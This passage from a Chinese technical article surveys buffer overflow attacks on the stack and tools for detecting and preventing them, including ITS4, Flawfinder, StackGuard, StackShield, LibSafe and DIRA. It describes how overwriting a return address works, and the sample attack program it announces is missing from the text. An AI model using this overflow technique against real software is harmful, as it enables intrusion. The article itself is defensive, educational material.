A)通过(1)改变B的值,然后通过(2)将B的新值循环输入数组A,直到返回地址也被该新值覆盖。这种攻击中,不仅返回地址被改变,而且介于数组A与返回地址之间的所有内存区域也全被改写。这种方法在缓冲区溢出攻击中使用得最多。
B)假设A[k]存有函数的返回地址。如果我们用第一种攻击方法使A[k]溢出,就可将返回地址的值改写成任何需要的值。
4 缓冲区溢出攻击举例
下面的程序是典型的缓冲区溢出攻击:
函数OverFlow()将一个字符串不经边界检查就拷贝到另一内存区域。显然程序执行的结果是Segmentation fault(core dumped)或类似出错信息。因为从buffer开始的256个字节都将被*str的内容A覆盖,包括SFP,RET,甚至&str。A的十六进值为0x41,所以函数的返回地址变成了0x41414141,超出了程序的地址空间。结果证明我们的应用程序是可以被人利用的,所以一定要担心!
5 检测和常用预防技术
为解决缓冲区溢出问题,我们做了大量的工作,下面介绍几种技术。
5.1 源代码的静态分析
ITS4使用潜在危险结构数据库来检测安全问题。很多程序员在进行安全审计时使用grep命令查找危险的函数调用。ITS4的设计者目的是提供比grep更智能的工具,在找到危险的函数调用时,ITS4还能提供有用的安全建议。类似ITS4的分析工具还有Flawfinder、RATS、FlexeLint、Pscan等。静态分析的好处是快捷简单,但没有考虑程序的语义,忽略了过程之间的交互、变量值和控制流。
BogoSec是一个源代码安全测量工具,它捆绑了几种源代码扫描器(ITS4、Flawfinder、RATS),最后产生源代码安全质量值。
5.2 扩展编译器功能
编译器是源码变成可执行代码的桥梁。有很多缓冲区溢出脆弱性检测和预防技术解决方案是通过扩展编译器功能,增加缓冲区边界信息并插入边界检查代码来实现的。
1)StackGuard:StackGuard对编译器进行扩展,调用函数是在堆栈的局部变量和返回地址之间存放一个程序运行时的随机产生的4个字节的“canary”字。若“canary”被破坏,则表明有缓冲区溢出产生,程序被终止。
2)StackShield:StackShield创建一个特别的堆栈---地址栈,用来储存函数返回地址的一份拷贝。把返回地址压栈同时保存到这个特别的地址栈中,在返回地址出栈前把从地址栈中取出返回地址。即使堆栈中的返回地址等信息被破坏,仍然可以保证不会跳转到错误的地方执行。
3)LibSafe:在已知的缓冲区溢出漏洞中,大部分是因为没有正确的使用gets,sscanf,sprintf等字符串和io函数.基于这一事实,LibSafe提供了一套和标准库兼容的库,用于替换已知的有安全隐患的库。
4)Visual C++.Net的/GS选项:Visual C++.Net的/GS选项与StackGuard,它在声明于栈上的变量与EBP指针、返回的地址指针几函数特定的异常处理之间放置一个“canary”。
5)DIRA:DIRA是GCC编译器的扩展。在编译时插入适当的内存修改日志代码,然后在所有对敏感数据引用的地方插入检查代码,最后在程序中插入识别攻击代码和修复程序的函数。
6 结束语
以上是基于源代码的检测安全漏洞的方法,没有运行时的开销,是编写代码及调试过程进行缓冲区检测的常用技术。目前提出了对程序的可执行文件进行渗透测试及对操作系统进行改进设置基于堆栈和堆不可执行、段长限制、使用两个堆栈等。每种技术都有不足之处,根本解决问题的方案是开发出全系列的能预防缓冲区溢出的操作系统、库、编译器和编程语言。
参考文献
[1]Foster J.C.缓冲区溢出攻击——检测、剖析与预防[M].北京:清华大学出版社,2006.
[2]许治坤,王伟,郭添森,等.网络渗透技术[M].北京:电子工业出版社,2005.
[3]张小斌,严望佳.黑客分析与防范技术[M].北京:清华大学出版社,1999.
[4]杨朝龙,须文波.嵌入式系统安全中缓冲区溢出防止技术的研究与实现[J].嵌入式系统应用,2005(25):15-17.
【安全缓冲区】推荐阅读:
缓冲区计算08-10
关键链缓冲区09-05
缓冲系统07-21
缓冲溢出05-17
缓冲结构07-09
自适应权重缓冲08-17
总线缓冲器11-06
压缩机缓冲罐08-27
强化安全意识、落实安全责任、实现安全目标05-31
用电安全、交通安全、消防安全活动方案09-06